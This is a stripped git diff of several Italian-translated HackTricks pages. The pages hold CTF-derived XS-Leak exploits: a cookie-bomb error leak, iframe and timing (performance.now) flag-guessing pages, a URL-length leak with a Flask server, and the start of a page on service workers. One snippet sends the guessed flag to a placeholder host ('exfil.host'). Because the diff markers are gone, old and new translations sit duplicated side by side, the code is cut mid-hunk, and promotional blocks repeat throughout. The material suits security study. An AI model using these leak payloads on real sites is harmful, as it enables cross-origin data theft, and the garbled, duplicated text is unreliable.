Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Lo **script** seguente, preso da [**qui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), sfrutta una funzionalità che consente all'utente di **inserire qualsiasi quantità di cookie**, e quindi caricare un file come script sapendo che la risposta vera sarà più grande di quella falsa e quindi. Se ha successo, la risposta sarà un reindirizzamento con un URL risultante più lungo, **troppo grande da gestire per il server quindi restituisce un codice di stato di errore HTTP**. Se la ricerca non ha successo, non succederà nulla perché l'URL è breve.
Il seguente **script** preso da [**qui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) sfrutta una funzionalità che consente all'utente di **inserire qualsiasi quantità di cookie**, e poi caricare un file come script sapendo che la vera risposta sarà più grande di quella falsa e poi. Se ha successo, la risposta è un reindirizzamento con un URL risultante più lungo, **troppo grande per essere gestito dal server quindi restituisce un codice di stato http di errore**. Se la ricerca fallisce, non succederà nulla perché l'URL è breve.
```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
@ -61,14 +64,17 @@ break;
};
</script>
```
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in un'**azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Esecuzione di JavaScript XS Leak
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
@ -30,7 +33,7 @@ window.parent.foo()
res.send(page)
});
```
Pagina principale che genera iframes alla pagina precedente `/guessing` per testare ogni possibilità
Pagina principale che genera iframe per la precedente pagina `/guessing` per testare ogni possibilità
```html
<html>
<head>
@ -75,14 +78,17 @@ hack.innerHTML = iframe
</div>
</html>
```
{% hint style="success" %}
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in un'**azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View file

@ -1,23 +1,26 @@
# performance.now + Forza compito pesante
# performance.now + Force heavy task
{% hint style="success" %}
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}
**Exploit tratto da [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
**Exploit preso da [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
In questa sfida, l'utente poteva inviare migliaia di caratteri e se la flag fosse stata contenuta, i caratteri sarebbero stati inviati di nuovo al bot. Quindi, inserendo una grande quantità di caratteri, l'attaccante poteva verificare se la flag era contenuta nella stringa inviata o meno.
In questa sfida l'utente poteva inviare migliaia di caratteri e se il flag era contenuto, i caratteri venivano restituiti al bot. Quindi, inviando una grande quantità di caratteri, l'attaccante poteva misurare se il flag era contenuto nella stringa inviata o meno.
{% hint style="warning" %}
Inizialmente, non ho impostato larghezza e altezza dell'oggetto, ma in seguito ho scoperto che è importante perché la dimensione predefinita è troppo piccola per fare una differenza nel tempo di caricamento.
Inizialmente, non ho impostato la larghezza e l'altezza dell'oggetto, ma successivamente ho scoperto che è importante perché la dimensione predefinita è troppo piccola per fare la differenza nel tempo di caricamento.
{% endhint %}
```html
<!DOCTYPE html>
@ -114,14 +117,17 @@ main()
</html>
```
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in un'azienda di **sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Esempio di performance.now
# performance.now esempio
{% hint style="success" %}
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}
**Esempio tratto da [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
```javascript
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
document.addEventListener('DOMContentLoaded', main);
```
{% hint style="success" %}
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in un'**azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Lunghezza massima dell'URL - Lato client
# URL Max Length - Client Side
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}
Codice da [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
```html
@ -49,8 +52,6 @@ await new Promise(resolve => setTimeout(resolve, 50))
</html>
```
Server side:
Lato server:
```python
from flask import Flask, request
@ -80,14 +81,17 @@ return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in un'azienda di **sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Abusare dei Service Workers
# Abusing Service Workers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -24,32 +25,31 @@
## Informazioni di Base
Un **service worker** è uno script eseguito dal tuo browser in background, separato da qualsiasi pagina web, che consente funzionalità che non richiedono una pagina web o interazione dell'utente, migliorando così le capacità di **elaborazione offline e in background**. Informazioni dettagliate sui service workers possono essere trovate [qui](https://developers.google.com/web/fundamentals/primers/service-workers). Sfruttando i service workers all'interno di un dominio web vulnerabile, gli attaccanti possono ottenere il controllo sulle interazioni della vittima con tutte le pagine all'interno di quel dominio.
Un **service worker** è uno script eseguito dal tuo browser in background, separato da qualsiasi pagina web, che abilita funzionalità che non richiedono una pagina web o interazione dell'utente, migliorando così le capacità di **elaborazione offline e in background**. Informazioni dettagliate sui service worker possono essere trovate [qui](https://developers.google.com/web/fundamentals/primers/service-workers). Sfruttando i service worker all'interno di un dominio web vulnerabile, gli attaccanti possono ottenere il controllo sulle interazioni della vittima con tutte le pagine all'interno di quel dominio.
### Controllo dei Service Worker Esistenti
### Verifica dell'Esistenza dei Service Workers
I service workers esistenti possono essere verificati nella sezione **Service Workers** della scheda **Applicazione** nelle **Strumenti per Sviluppatori**. Un altro metodo è visitare [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) per una visualizzazione più dettagliata.
I service worker esistenti possono essere controllati nella sezione **Service Workers** della scheda **Application** negli **Strumenti per sviluppatori**. Un altro metodo è visitare [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) per una vista più dettagliata.
### Notifiche Push
